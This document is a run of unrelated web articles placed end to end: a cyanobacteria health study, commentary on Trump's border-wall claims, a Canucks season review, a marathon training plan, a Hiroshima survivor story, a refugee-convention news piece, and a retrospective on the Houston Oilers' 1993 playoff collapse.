In their paper, published in Current Environmental Health Reports researchers from OSU and the University of North Carolina write that increases in algal blooms are expected to get worse due to global climate change -- especially rising temperatures and increasing levels of carbon dioxide in the atmosphere -- as well as nutrient over-enrichment due to fertilizer misuse, wasterwater discharges, and hydrologic modifications of the environment such as damming rivers, among other reasons.
The researchers said better monitoring of bodies of water are needed, as is a wider awareness of the potential dangers of animals and humans ingesting cyanobacteria.
The toxins can't be killed by boiling water, however passing the water through carbon filtration devices can reduce the health risk. Additionally, researchers suggest people learn what the algae looks like -- a greenish, paint-like surface scum on water -- in order to avoid recreation in a lake or river where they are present, as well as keeping pets away from them.
"In my mind, these bacteria should be considered guilty until proven innocent, and in drinking water treated as potential pathogens," Otten said. "I think cyanobacteria should be approached with significant caution, and deserve better monitoring and regulation."Over the weekend, Donald Trump, who continues to insist that Americans pay for a giant wall along the U.S./Mexico border, said that the Mexican government will eventually “reimburse” us for the cost of the project. Mexico’s Foreign Ministry said soon after, “Our country will not pay, under any circumstances, for a wall.”
Which, naturally, led the American president to again say yesterday, “One way or the other, Mexico is going to pay for the wall…. We may fund it through the United States, but ultimately, Mexico will pay for the wall.” I assume Mexican officials will respond in kind again soon.
But while the back and forth is tiresome, especially about a project Congress is highly unlikely to approve, Trump also explained why, exactly, he thinks the wall is so necessary.
“We need the wall very badly. As you know, Mexico has a tremendous crime problem – tremendous – one of the number two or three in the world. And that’s another reason we need it. And the – just to add on, tremendous drugs are pouring into the United States at levels that nobody has ever seen before. This happened over the last three to four years in particular. The wall will stop much of the drugs from pouring into this country and poisoning our youth.”
No, it won’t. Perhaps the president hasn’t had time to read up on his signature issue, but there’s no reason to believe the wall would serve as some kind of anti-drug barrier. “A wall alone cannot stop the flow of drugs into the United States,” Christopher Wilson, the deputy director of the Mexico Institute at the Wilson Center, recently told Vox.
A Washington Post report added, “[E]xperts on the drug trade say a border wall, even one as big and beautiful as Trump promised, would be near-impotent in stemming the supply of illegal drugs.”
In other words, the president’s top rationale for building a wall is based largely on his confusion about what a wall would do. But at the same press conference yesterday, Trump also went just a little further:
“As you know, I have [Retired Gen. John Kelly, the White House chief of staff] here. We stopped traffic coming through – 78 percent. It’s going to be, I think, 81 percent this quarter, which is a record. In other administrations, if they stopped it just a little bit, like one, or two, or three percent, they considered that a great thing. We’re up to almost 80 percent. We’ll soon be over 80 percent.”
There are two important problems with this. The first is the apparent contradiction: Trump wants us to believe there’s a crisis at the border that only a wall can solve, and at the same time, he also wants us to believe he and his team have already dramatically curtailed illegal border crossings.
The second is that Trump keeps throwing around that “78 percent” figure, despite the fact that it’s a made-up statistic that plainly isn’t true. The president somehow got that number in his head, but every independent analysis has made clear that it’s wrong. USA Today reported last month, “We don’t know how the president arrived at 78 percent. We repeatedly asked the White House for the president’s source, but we received no response.”
Trump likes to manufacture details that make him happy, but that doesn’t make them true.With the month of October now behind us, it’s a good time to take a step back and have a look at how Vancouver’s opening 10 games of the season went. The Canucks may have gone 7-3-0, but there is still lots of room for improvement.
Read past the jump for a look back on the month that was.
The Competition
The Canucks started their season with six new players on the team (Nick Bonino, Linden Vey, Luca Sbisa, Ryan Miller, Radim Vrbata, and Derek Dorsett) and a new head
coach in Willie Desjardins. With the lack of familiarity with each other and
the coach’s new system, the Canucks couldn’t have asked for a friendlier
schedule than what the hockey gods gave them for October. Four of the ten games
they played were against teams who are legitimate contenders in the Connor
McDavid derby (Calgary, Edmonton x 2, and Carolina).
These were games they
needed to win, and they did. Their other wins came from an injury and flu
ravaged St. Louis Blues team, a Washington Capitals team which failed to make
the playoffs last year, and a very convincing win against the Montreal
Canadiens. The losses against Dallas,
Colorado, and Tampa weren’t pretty, but considering the learning curve with the
new systems and faces, they have to be happy to exit October with a 7-3-0
record.
The Goaltending
The table below shows the trending save percentage for
Miller and Lack throughout the month.
Ryan Miller has met expectations in the first month of the
season. His performances in the Carolina and Montreal games was enough
to push his save percentage slightly higher than league average, which is a
reasonable expectation for him this year. He had some very strong games against
St. Louis, Carolina and Montreal, and only had one terrible outing in Dallas.
Miller isn’t going to win the Vezina this year, but he’s been good enough to
keep the Canucks in it most nights.
Granted, Eddie Lack only played 2.5 games in October, but he
has to be disappointed with his play, especially his starts against Tampa and
Colorado. There were many, myself included, who expected Lack to make a big
push for playing time, just as he did in the first half of last season. It
hasn’t happened yet, and the Canucks will definitely need more than his current
.862 save percentage as he’ll be needed to start 20-30 games this year.
The Defense
The table above looks at cumulative five-on-five corsi for
throughout the opening month of October, so as more games, the sample size
increases and we start to see the trends emerge more clearly as cumulative corsi-for% (CF%) moves closer to 50%.
On the positive side, for 83% of Edler’s five-on-five
minutes he has been pared with Chris Tanev, and the duo have performed
exceptionally well, posting a 55.6 goals-for % (GF%) and 54.6 CF% when on the ice together.
This is exactly the type of numbers you hope to see in your first pairing, and
especially encouraging considering this pairing wasn’t used much by Tortorella
last season.
On the other end of the spectrum, the Hamhuis/Bieksa pairing
had a very slow start to the season. In October, 66% of Bieksa’s shifts have been
with Hamhuis. When paired together, the Hamhuis/Bieksa combo posted a 49
CF% and a shockingly poor 16.7GF%. It’s so early in the season that it’s impossible
to say whether what we’re seeing is growing pains from adapting to a new defensive partner
that will solve itself over time (last year Bieksa played with Edler and
Hamhuis played predominantly with Tanev or Garrison), or more of a long-term systemic issue. In either case, they’re
clearly not playing up to their capabilities, and their production is not nearly
good enough for a top four pairing. Desjardins has to be keeping a close eye on
this tandem, and with Ryan Stanton close to returning from injury, this may be an
area where he decides to shuffle the deck.
The Canucks third pairing of Weber/Sbisa is a paradox. When
on the ice together, they posted a 53.8 CF%, and 63.6 GF%, both
of which are exceptionally good figures for any defensive pair, let alone a
third pairing. That said, I can’t think of a pairing more prone to highlight
reel plays for the other team. In the first short month of the season, we have
been treated numerous instances of blown coverage and defensive miscues that
have ended up with the puck in the Canucks net, drawing the ire of Vancouver
fans. That said, the Canucks have consistently outshot and outscored the
opposition when this pairing is on the ice. Time will tell as to whether their strong numbers are a statistical anomaly driven by small sample sizes, or whether they
really are as bad as they look.
The Forwards
In Radim Vrbata, the Sedin’s appear to have found a time
machine to take them back to 2011. In the first 10 games of the year the Sedin
line has contributed 6 even strength goals and another 6 on the power play, with a little help from Linden Vey. I’m especially impressed by how effortlessly
Vrbata has adapted to the Sedin’s style of play, which is something I had
concerns about based on his style in Arizona. We can see from their estimated line CF% (calculated using pairing with-you CF% from stats.hockeyanalysis.com), that this line dominated their competition in terms of possession.
While I’m impressed with the play of the Sedins and Vrbata
so far, I’m actually more impressed with how well the Burrows/Bonino/Higgins
line has come together. As one of the few vocal proponents of the Kesler/Bonino trade, I’m not surprised by Bonino’s strong output, but I am encouraged by how quickly he’s found chemistry with his new linemates. Not only are the dominating their
opposition from a possession standpoint (est. line CF% of 54.2), but they are also scoring at a higher
rate at even strength than the Sedins/Vrbata line (7 even strength goals in 10
games). Granted, this is due to a very high on-ice shooting percentage of 10.1% which
will likely regress, but at this point the this line is a legitimate secondary
scoring threat which will help to take a bit of pressure of the top line.
While the first two lines have exceeded expectations with
their play, the bottom two lines need work. When playing together, the third
line earned an estimated line CF% of 49.1%. This isn’t a terrible result for a third line, but its likely that the Canucks could have had much better results if Kassian wasn’t anchored by Shawn Matthias and Brad Richardson. In their
time apart from Kassian, Richardson and Matthias earned CF%’s of 37.5%
and 31.2%, respectively.
While Linden Vey has impressed so far, especially with his
play on the power play, his 40.5% faceoff percentage isn’t good enough to
center a third line longer term. Vey played 34% of his even strength shifts with
Kassian in October, and in this time the duo posted a 50.0 CF%. Bo Horvat was
called up from his conditioning assignment in Utica this weekend, so it’ll be interesting
to see if he replaces Richardson’s spot on the third line, with Vey and
Kassian as his wingers, which would leave some combination of Matthias, Richardson, Dorsett, and Hansen on the fourth line.
Conclusion
With all the new faces in the offseason, the coaching staff has done a very good of helping players find chemistry early, enabling them to capitalize on a very weak schedule and exit October with a solid 7-3 record. November will be a significantly harder month as the Canucks will have to play San Jose, Anaheim twice, Los Angelas, Detroit, Chicago, a Nashville team which has surprised early, and a Colorado team which handed the Canucks their most humiliating loss of this short season.
In order to be successful in this month, the Canucks will need better play from Bieksa and Hamhuis, improved play from their bottom six, and consistency from Eddie Lack, when called upon.
While the play of the Sedin line and Bonino line has been a ton of fun, now that we’ll be facing the leagues stiffest competition this will be a month were we get a glimpse into just what type of team the Canucks really have.Hal's Intermediate 1 Marathon Training Program is one step up from Novice 2. It is designed for runners who may have used the novice programs to run their first marathons and who are now looking to increase their training levels and hoping to improve their Personal Records. It is not recommended for runners doing their first marathon. If that is you, check out the descriptions of the novice programs before deciding which program to purchase. Each day Hal will send you emails telling you what to run and offering training tips. For more information, check out the Program Details below.
Hal on his Intermediate 1 Program
This is my Intermediate 1 Program: The Novice 1 and Advanced 2 training programs in my quiver of 26.2 arrows represent the extremes. The former program (and Novice 2) are designed for runners running their first marathons, or experienced runners who are happy with that level of training and see no need to do more. The latter program (and Advanced 1) are designed for those very experienced runners, who have done a number of marathons, perhaps have plateaued in their times, and want to maximize their ability by training hard and incorporating speedwork into their training.
In between, there’s a broad area for runners just like you! If you previously have trained using one of the Novice programs (1 or 2), you now can increase your mileage a bit, run some workouts at a faster pace, and seek improvement.
The Intermediate 1 program offers a slight jump in difficulty from the Novice programs. You begin in Week 1 with a long run of 8 miles instead of 6 miles. You thus get to 20 miles for your long run by Week 13, which permits a second 20-miler in Week 15. Midweek mileage is slightly higher, but instead of cross-training on the weekends, you get more serious about your running and do a second run of 5-8 miles, often at marathon race pace. You now do your cross-training on Mondays, instead of taking the day off. Intermediate 2 offers still another jump in difficulty (more miles), but let’s concentrate for now on Intermediate 1.
Here is an explanation of the type of training you will encounter in Intermediate 1. Additional tips and instructions are available if you sign up for the interactive version, available through TrainingPeaks.
Long Runs: The key to the program is the long run on weekends, which builds from 8 miles in the first week to a maximum of 20 miles. Although some experienced runners do train longer, I see no advantage in doing 23, 26 or even 31 mile runs. (I’ve tried that myself in the past, and it just wore me out.) Save your energy and concentrate on quality runs. Consistency is most important. You can skip an occasional workout, or juggle the schedule depending on other commitments, but do not cheat on the long runs. Notice that although the weekly long runs get progressively longer, every third week is a “stepback” week, where we reduce mileage to allow you to gather strength for the next push upward.
Run Slow: Normally I recommend that runners do their long runs anywhere from 30 to 90 or more seconds per mile slower than their marathon pace. This is very important. Listen to what the Coach is about to tell you! The physiological benefits kick in around 90-120 minutes, no matter how fast you run. You’ll burn a few calories and trigger glycogen regenesis, teaching your muscles to conserve fuel. Running too fast defeats this purpose and may unnecessarily tear down your muscles, compromising not only your midweek workouts, but the following week’s long run. Save your fast running for the marathon itself. There are plenty of days during the week, when you can run race pace. So simply do your long runs at a comfortable pace, one that allows you to converse with your training partners, at least during the beginning of the run. Which brings up my next point.
3/1 Training: Toward the end of the run, if you’re still feeling fresh, you may want to pick up the pace and finish somewhat faster. This will convert your long run into what I call a 3/1 Run. That means you run the first three-fourths of your long run (say the first 12 miles of a 16-miler) at an easy pace, then do the final one-fourth (4 miles of a 16-miler) at a somewhat faster pace–though still not race pace. This 3/1 strategy is advised for only the most experienced runners, and I don’t recommend you do it more than once out of every three weekends. In other words: first weekend, easy run; second weekend, 3/1 Run; third weekend, step back to a shorter distance. My philosophy is that it’s better to run too slow during long runs, than too fast. The important point is that you cover the prescribed distance; how fast you cover it doesn’t matter.
Walking Breaks: Walking is a perfectly acceptable strategy even for intermediate runners, and it works during training runs too. While some coaches recommend walking 1 minute out of every 10, or walking 1 minute every mile, I teach runners to walk when they come to an aid station. This serves a double function: 1) you can drink more easily while walking as opposed to running, and 2) since many other runners slow or walk through aid stations, you’ll be less likely to block those behind. It’s a good idea to follow this strategy in training as well. (In training, you may want to wear a water belt to insure proper hydration.) You will lose less time walking than you think. I once ran a 2:29 marathon at age 49, walking through every aid station. My son Kevin ran 2:18 and qualified for the Olympic Trials employing a similar strategy. And Bill Rodgers took four brief breaks (tying a shoe on one of them) while running 2:09 and winning the 1975 Boston Marathon. Walking gives your body a chance to rest, and you’ll be able to continue running more comfortably. It’s best to walk when you want to, not when your (fatigued) body forces you too.
Race Pace: What do I mean by “race pace?” It’s a frequently asked question, so let me explain. Race pace is the pace you plan to run in the race you’re training for. If you’re training for a 4:00 marathon, your average pace per mile is 9:09. So you would run that same pace when asked to run race pace (sometimes stated simply as “pace” on the training charts). If you were training for a 5-K or 10-K, “race pace” would be the pace you planned to run in those races. Sometimes in prescribing speedwork, I define paces for different workouts as 5-K pace or 10-K pace, but you won’t be asked to run this fast in the Intermediate 1 program.
Cross-Training: Mondays in the intermediate programs are devoted to cross-training. What is cross-training? It is any other form of aerobic exercise that allows you to use slightly different muscles while training (usually) the day after your long run. In this program, we run long on Sundays and cross-train on Mondays. The best cross-training exercises are swimming, cycling or even walking. What about sports such as tennis or basketball? Activities requiring sideways movements are not always a good choice. Particularly as the mileage builds up toward the end of the program, you raise your risk of injury if you choose to play a sport that requires sudden stopping and starting. One tip: You don’t have to cross-train the same each week. And you could even combine two or more exercises: walking and easy jogging or swimming and riding an exercise bike in a health club. Cross-training for 30-60 minutes will help you recover after your Sunday long runs.
Midweek Training: Training during the week also should be done mostly at a comparatively easy pace. As the weekend mileage builds, the weekday mileage also builds. Add up the numbers, and you’ll see that you run roughly the same mileage during the week as you do during long runs on the weekends. Midweek workouts on Wednesdays build from 5 to 8 miles. There are similar slight advances on Tuesdays and Thursdays. The program is built on the concept that you do more toward the end than at the start. That sounds logical, doesn’t it? Believe me–as hundreds of thousands of marathoners using this schedule have proved–it works.
Rest: Despite my listing it at the end, rest is an important component of this or any training program. Scientists will tell you that it is during the rest period (the 24 to 72 hours between hard bouts of exercise) that the muscles actually regenerate and get stronger. Coaches also will tell you that you can’t run hard unless you are well rested. And it is hard running (such as the long runs) that allows you to improve. If you’re constantly fatigued, you will fail to reach your potential. This is why I designate Friday as a day of rest foriIntermediate runners. It allows you to gather strength for hard running on Saturdays and Sundays. If you need to take more rest days–because of a cold or a late night at the office or a sick child–do so. And if you’re tired from the weekend, take Monday off as well–or cut the length of your cross-training. The secret to success in any training program is consistency, so as long as you are consistent with your training during the full 18 weeks of the program, you can afford–and may benefit from–extra rest.
Speedwork? There is no speedwork involved in the Intermediate 1 program. If you feel you need speedwork to improve, check out the advanced training schedules, which offer hill training, interval training and tempo runs on different days of the week. Normally, however, I recommend that marathoners save their speedwork for times of the year when they are not doing a marathon mileage buildup. Check the shorter-distance training programs elsewhere on this web site for more on that.
Modifying the program: My training programs are not carved in concrete, and you can make appropriate changes based on your experience, or to suit your convenience. One frequent request made by runners asking questions on the Internet is to modify the order of the weekend runs–particularly by those who want to run long on Saturdays instead of Sundays, because that’s when their friends do their long runs. Running with friends is certainly more fun than running alone, but the pace runs are placed on Saturdays ahead of the long runs on Sundays for a purpose. The main reason is to tire you out a bit in the first workout Saturday so you are not tempted to do the second workout Sunday too fast. It is also difficult to hit race pace on Sunday the day after a draining long run. Some runners ask if they can split these two workouts, for example, running pace on Friday and long on Sunday. They can, but it defeats somewhat the purpose of two “hard” workouts back to back on Saturdays and Sundays. Most runners have more time for their training on the weekends. So modify the program if you want, but if you make too many modifications, you’re not following the program.Six years ago, Ari Beser, a photographer from Baltimore, received a grant to visit the city of Hiroshima for the first time. He wanted to trace the path his grandfather had once taken. Jacob Beser, who died in 1992, flew over Japan as a member of the Army Air Force during World War II.
On the day that Beser got the grant, a tsunami struck the coast of Japan, flooding Fukushima nuclear power plant and causing an explosion and meltdown.
Beser thought about calling off the trip, but the timing was uncanny. Beser knew that nuclear technology of a different sort had brought his grandfather to Hiroshima in the first place. Jacob Beser was the only man in the world to fly on both planes that dropped nuclear bombs in Japan.
Jacob Beser, pictured, is the only person to fly aboard both planes that carried nuclear bombs to Japan. Here he stands in front of the Enola Gay, the B-29 bomber that bombed Hiroshima. Credit: Courtesy of the Beser family
So Beser decided not to cancel his trip. Instead, he read up on his grandfather’s life. He found an old audio recording, in which Jacob Beser talked about manning the radar during the bombing of Hiroshima. “I never saw the intact city of Hiroshima,” the elder Beser said. “When I got to the window, all I saw was this boiling muddy mess, with fires continuing to break out on the periphery.”
Beser learned that his grandfather first joined the military because he wanted to fight against Nazi Germany. “My great-grandmother had been taking in German refugee children,” he said. The family had Jewish relatives in Europe, and the elder Beser felt a responsibility to either help them or avenge them.
“My great-grandmother wouldn't let him,” Beser said. “She said, you're a good Jewish boy. War is no place for a good Jewish boy.”
Then came Pearl Harbor. As 1941 came to a close, Beser’s grandfather joined the Army. He was sent to radar school in Florida and then to Los Alamos, where he joined a secret mission that was supposed to end the war. His superiors wouldn’t say what it was.
“They never said the word nuclear,” Beser said. “They never said they were building a nuclear bomb.”
Underneath the mushroom cloud
When the younger Beser flew to Japan in 2011, he was retracing the path his grandfather once took. In Hiroshima, he was surrounded by people his grandfather might have considered enemies. “If I went 70 years ago, I could have been killed. Just for being American,” Beser said.
During that trip, Beser spent several months in Japan. He took lessons in Japanese. He wasn’t just trying to understand his grandfather. He was trying to understand his grandfather’s impact on the lives of hundreds of thousands of Japanese people.
“What I really wanted to learn is what it was like for the people underneath the mushroom cloud,” he said. “The women and the children that were mostly there.”
There are still thousands of living atomic bomb survivors — hibakusha, as they’re called in Japanese. One day, Beser went to a lecture by a woman named Keiko Ogura, who has worked as a volunteer translator for fellow survivors. She spoke at length about her own recollections of Aug. 5, 1945.
“I was on the road near my house, and all of a sudden there was a tremendously bright flash,” she said in a recent interview. “I couldn't stand, and then I couldn't breathe. I was hit on the road and became unconscious.”
When Ogura woke up, it was so dark that she thought it was evening. The sound of her brother crying brought her back to the present.
“I waited for a while, and then, by and by, I could see my neighborhood,” she said. It started to rain. The droplets were black and stained her blouse. All around her were wounded and dying people.
Ogura said that when the injured asked for water, she gave it to them. Some of those people died, perhaps from shock. “I thought it was my fault, and I blamed myself so many years,” she said sadly. “I saw very dreadful nightmares.”
'I have to tell'
There are many thousands of survivors like Ogura. For decades, few of them shared their stories. “I tried to forget those days, because it’s a horrible memory,” Ogura said. There’s not only trauma, but also stigma. Some Japanese people viewed radiation sickness as contagious. Others assumed children of survivors would be born with defects.
Ogura’s husband often shared stories of Hiroshima, through his work at a local museum. But Ogura didn’t even talk about her memories with her children. “So many years, more than 50 years I think, I didn’t talk about myself,” Ogura said.
Only when her husband died did Ogura overcome her reluctance. “I thought, I have to tell. I have to do something!” she recalled. “Because people do not know about Hiroshima and Nagasaki.”
When Ari Beser heard Ogura’s lecture, he thought about his grandfather, who was far above the carnage in a B-29. The elder Beser didn’t feel remorse for what happened. After the war, he helped to establish Sandia National Laboratories and then worked as an engineer for military contractors.
Beser wondered how his grandfather might have reacted to stories of survivors in Japan, like Ogura. When she finished her lecture, six years ago, he went up and introduced himself.
In a recent phone conversation between Beser and Ogura, they shared their memories of that first meeting. “I was embarrassed that no one had explained to you beforehand,” Beser said. “You would maybe be surprised to know that instead of a regular American boy, you were talking to the grandson of someone who was on the airplanes. Someone who was above the mushroom cloud.”
Ogura remembered feeling excited to meet him. If anything, she was worried about how he might feel. “I felt so sorry,” she told Beser. “Weren't you shocked?
“It's more amazing to me that you were more worried about how I would feel, than how you felt,” Beser replied. “All you were worried about was somebody else.”
Ogura said that the meeting with Beser didn’t cause her any pain or anger. “I thought American young people should know what happened,” she said.
The encounter deepened Beser’s commitment to hearing and sharing the stories of survivors. He met with Ogura many more times, even spoke alongside her at events in Japan. In Japanese, she even nicknamed him “grandson.” In 2015, Beser published a book about their shared story. It’s called The Nuclear Family.
'That's the definition of peace'
In 2016, during a historic visit to the Hiroshima Peace Park, President Barack Obama met nuclear bomb survivors and prayed with Japanese Prime Minister Shinzo Abe. Beser was in attendance, and remembered having a kind of revelation.
“I just realized that one day, I’m going to tell my grandchildren that my grandfather was the only man in the world that flew on both the planes that dropped the atomic bombs. And their grandfather saw the first US president come to Hiroshima,” he said. “To me, that’s the definition of peace.”
Beser remembers seeing Ogura that day, too. They were happy.
“She said to me, your grandfather was above the mushroom cloud. And I was under the mushroom cloud. But we can be together.
What brought Beser and Ogura together was a bomb. A technology more destructive than any that came before it. But they hope their shared story can be as powerful as any weapon.Here's a fun project for beer lovers. Boston-based video editor Trevor Carmick has started animating the labels of some of his favorite brews, sharing his creations as animated GIFs. The results are subtle but enjoyable, like the Magic Hat #9 can whose label now swirls hypnotically, practically mesmerizing you into drinking it. On his LinkedIn profile, Carmick notes the initial success of his side project: "To my surprise, people enthusiastically responded to my label creations and I now enjoy a small online following of craft beer lovers as well as several breweries." Given the way his site is making the rounds on some of the nation's largest blogs this week, he might need to rephrase that soon. Check out a few of his creations after the jump, and visit his site for more.Border Restrictions Violate 1951 Refugee Convention
UNITED NATIONS, Mar 3 2016 (IPS) - When the United Nations commemorated “Zero Discrimination Day” on March 1, there was an implicit commitment by the 193 member states to abhor all forms of discrimination – including against women, minorities, indigenous people, gays and lesbians and those suffering from AIDS.
But apparently there seems to be one notable exception – refugees and migrants fleeing to Europe from war ravaged countries, largely from Syria, Afghanistan, Iraq, Libya and Yemen.
Despite a commitment to the 1951 Refugee Convention, some of the European countries are building barriers against the flow of refugees in violation of an international treaty.
UN Secretary-General Ban Ki-moon says he is greatly concerned about the increasing number of border restrictions along the Balkan land route, including in Austria, Slovenia, Croatia, Serbia and the former Yugoslav Republic of Macedonia.
“Such border restrictions are not in line with the 1951 Refugee Convention [relating to the Status of Refugees] and its 1967 protocol, because individual determination of refugee status and assessment of individual protection needs are not made possible,” he warned last week.
Ban said the number of asylum seekers entering Greece from Turkey continues unabated, and that the border closures are creating a difficult situation in Greece. Meanwhile, Turkey is already hosting in excess of 2.6 million refugees and asylum seekers.
Ban said he is fully aware of the pressure felt by many European countries. However, he calls on all countries to keep their borders open, and to act in a spirit of responsibility-sharing and solidarity, including through expanding legal pathways to access asylum.
According to the Office of the UN High Commissioner for Refugees (UNHCR), some 1.5 million people claimed asylum last year in Western countries, mostly members of the Organisation for Economic Cooperation |
Cha Jung Woo is the now-successful ex-husband who wants revenge against her. The drama promises to be a delightful watch, as it chronicles the maturation process and eventual reconciliation of these two ex-lovers.
“Cunning Single Lady” will be directed by Go Dong Sun (“Me Ri, Dae Gu’s Attack and Defense Battle,” “Queen of Housewives“), while the script will be in the hands of writers Choi Soo Young and Lee Ha Na. “Cunning Single Lady” will follow after currently airing “Miss Korea.”HOUSTON — As Super Bowl 51 kicked off at NRG Stadium last month, about 25 former Houston Oilers gathered a mile and a half away at the Coaches Corner, a sports bar owned by Haywood Jeffires, the former Oilers Pro Bowl receiver. The players congregated in a back area, eating chicken wings and drinking, carrying on and watching the game. Some of them lived in the area, some had come in for the game, and some of them hadn’t seen each other in years. Houston’s hosting of the Super Bowl had given the former Oilers a reason to return, and the week had become one long reunion. They’d been attending parties all week, catching up, swapping stories and reminiscing.
In the Coaches Corner now, everywhere they looked there seemed to be another framed baby-blue jersey: Warren Moon, Ernest Givins, Drew Hill, Curtis Duncan, Lorenzo White, Jeffires. The place is unequivocally an Oilers bar, a shrine to the Run-and-Shoot offense, to the franchise’s glory years of the late ’80s and early ’90s, when the Oilers made the playoffs seven consecutive seasons. Some of the stars on those teams were here now to watch the game.
They looked on as the Falcons jumped out to a 28-3 lead over the Patriots in the third quarter. Matt Ryan, Julio Jones and Atlanta’s high-powered offense looked unstoppable, moving up and down the field with ease—like Moon and Jeffires and those old Run-and-Shoot teams. And then Tom Brady and the Patriots scored, and New England began slowly, methodically mounting a comeback, pulling closer and closer.
Those old Oilers got anxious, watching the game unfold from their bar stools. They bantered back and forth with one another, critiquing the Falcons’ play-calling. Their defense has been on the field too long! They look gassed. Why aren’t they running the ball and milking the clock?
The Falcons were blowing a 25-point lead: 28-12 … 28-20 … 28-28.
Unbeknownst to one another, several Oilers at the bar started having flashbacks. The same flashback. January 1993—the Buffalo Game. Houston held a 35-3 lead over the Bills in the third quarter of their wild-card playoff, in a season in which the Oilers were expecting to win the Super Bowl. What happened next was historic.
Moon and the 10-6 Oilers headed into the playoffs in January ’93 with the feeling that this was their year. John Biever/Sports Illustrated
The Oilers collapsed and lost, 41-38, in overtime. It’s still the largest blown lead ever in the postseason. Those Oilers players knew, perhaps better than anyone else in the world, what the Falcons were experiencing.
The Falcons are not about to do what I think they’re going to do, are they? Bubba McDowell, a cornerback on that Oilers team, asked himself. But he did not dare say it out loud. Not in a bar full of Houston Oilers. He decided it was best to keep quiet.
* * *
Why are we making this so hard on ourselves?
That’s what Warren Moon kept asking himself, as the Oilers’ lead against the Bills slipped away that January day in Buffalo. This was Houston’s year, Moon thought. The Oilers had been competitive for the last few seasons and were finally poised to make a deep playoff run. Playing out of coach Jack Pardee’s Run-and-Shoot, they had the most prolific passing attack in the NFL. Houston also had the league’s third-ranked defense. Nine Oilers made the Pro Bowl that season, including seven on offense—future Hall of Fame linemen Bruce Matthews and Mike Munchak; White, the running back; receivers Jeffires, Givins and Duncan; and Moon, their future Hall of Fame quarterback.
Haywood Jeffires’ 27-yard TD pass gave the Oilers a 28-3 lead heading into the half. John Biever/Sports Illustrated
The Oilers had throttled the Bills 27-3 in the regular-season finale. And in the wild-card game, by the time Houston had scored their fifth touchdown early in the third quarter, the Bills had lost two top offensive weapons, quarterback Jim Kelly and running back Thurman Thomas, to injuries.
“I never thought we were going to lose,” Moon says now.
Then after going up 35-3, Oilers kicker Al Del Greco miss-hit the ensuing kickoff, giving the Bills the ball at midfield, which led to a Buffalo touchdown … then the Bills recovered an onside kick and scored again. … then the Bills forced a three-and-out and scored again. The Oilers had the ball and another chance to stop the bleeding, when … the Bills picked off Moon and scored yet again.
“We just couldn’t stop the madness,” Jeffires says. “You wanted this to be over. It was almost like a dream.”
Or, more accurately, a nightmare.
Entering the fourth quarter, the Oilers only led by four, 35-31. Moon and the Houston offense regained their composure long enough to string together a long drive, deep into Bills territory. But when it stalled and they settled for a field-goal attempt, Greg Montgomery, the holder, fumbled the snap, and the Oilers didn’t get the kick off.
A bungled field-goal snap was one of a string of second-half mishaps. Bill Sikes/AP
“Absolutely nothing was going right,” says McDowell, the cornerback. “We just had mistake after mistake after mistake after mistake. It was just piling up. There was no end. I was like, how bad can we screw this up?”
“There was a lot of arguing on the plane home. Pointing fingers. Everyone was just jawing at each other. We’d messed up a golden opportunity.”
The Oilers already had some history of blowing late leads. The previous year, in the divisional round of the playoffs, they were ahead of Denver 24-16 in the fourth quarter when John Elway engineered two drives that resulted in 10 points and a Broncos win.
This was worse. The Oilers weren’t playing Elway or Kelly. This was Kelly’s longtime backup, Frank Reich, burning them. With about three minutes left in the fourth quarter Reich threw his third consecutive touchdown to Andre Reed, and the Bills had their first lead. They had scored 35 unanswered points in less than two quarters. Bills 38, Oilers 35.
Moon had one more comeback in him. He led a drive that produced a field goal to force overtime. The Oilers even won the toss in overtime, too. But on the opening drive Moon threw another pick (helped by a missed holding penalty on Buffalo), and a face-mask call on the runback gave the Bills the ball in field-goal range. Game over. Bills 41, Oilers 38.
Bruce Smith offers Warren Moon a hand up. John Biever/Sports Illustrated
“There was a lot of arguing among the players on the bus, on the plane home,” says Givins, one of the Pro Bowl receivers. “Shaking our heads. Pointing fingers. Arguing with each other. Could’ve, would’ve, should’ve—that type of thing. We should’ve made some adjustments, this and that. Everyone was just jawing at each other. … [We had] messed up a golden opportunity. … We win that game, we win the Super Bowl—no question.”
Steve Christie’s OT field goal capped the NFL’s greatest playoff comeback—and worst collapse. John Biever/Sports Illustrated
* * *
In the offseason, the Oilers went their separate ways. Some left for vacation, some returned to their hometowns. Anywhere they could clear their heads, forget about the game and hopefully avoid the people constantly approaching them, asking about the collapse.
“Probably didn’t leave my house for a week,” Moon says.
At one point Moon and the other team leaders gathered and discussed their collective mindset heading into the 1993 season. “We said, are we going to let last year destroy us?” Moon recalls. “Everybody thinks that’s going to destroy us, so how are we going to handle that? The faster we can get that out of our mind—that happened last year, but this is a new football team. … We were trying to get everyone to buy in, that this isn’t the same team, this is a different team, the ’93 team. That was the ’92 team. We had a new defensive coordinator, Buddy Ryan. It was a different atmosphere. We had to keep selling everyone on that.”
The sales job didn’t work, at first. Houston lost four of its first five games, the last of which was a 35-7 rout in Buffalo. “We were still in shock,” Givins says. Even Moon admits the collapse had “lingered a little bit.”
The Oilers’ tumultuous ’93 campaign climaxed with a scuffle between Kevin Gilbride and Buddy Ryan in the regular-season finale. Getty Images (2)
As if the playoff collapse weren’t enough to overcome, the 1993 Oilers had a series of tumultuous incidents to deal with over the course of the season. Offensive lineman David Williams missed a game because his wife was in labor, and the team fined him, sparking a national outcry; the episode became known as “Babygate.” Reserve defensive lineman Jeff Alm committed suicide after his friend died in an automobile accident in which Alm was driving; Alm’s blood-alcohol content was above the legal limit. And when Buddy Ryan’s dissatisfaction with what he called the “Chuck-and-Duck” boiled over, he and offensive Kevin Gilbride got into a heated exchange, culminating in Ryan slugging Gilbride in the face. NFL Films later made a documentary based entirely on the Oilers’ dysfunctional 1993 season.
On top of all that, midway through the season Bud Adams, the owner, threatened to dismantle the team if it didn’t win the Super Bowl. The NFL would be instituting a salary cap for the first time in 1994, and it would be more difficult to hang on to all those Pro Bowlers—or to justify doing so, especially if they failed in the playoffs again.
After the 1-4 start, Oilers coaches decided to bench Moon for the next game, against the Patriots, hoping the move would jump-start the team. In a way it did. Cody Carlson, Moon’s backup, was injured during the game, and Moon returned to the field inspired. Houston beat New England, 28-14, then promptly ripped off 10 more consecutive wins, despite all the turmoil. “We said, let’s just forget about it and play carefree football,” Givins says.
The Oilers earned the No. 2 seed in the AFC, which meant they would face Joe Montana and the No. 3-seeded Chiefs in the divisional round. Houston held a 13-7 lead early in the fourth quarter of that game, too. Then Montana led three more touchdown drives, including one in the waning moments that sealed a 28-20 win. “It was a controversial, emotional year for us,” Moon says. “By the end, after everything we went through, we were running on empty. We didn’t have enough to win that playoff game. Then Joe Montana worked his magic.”
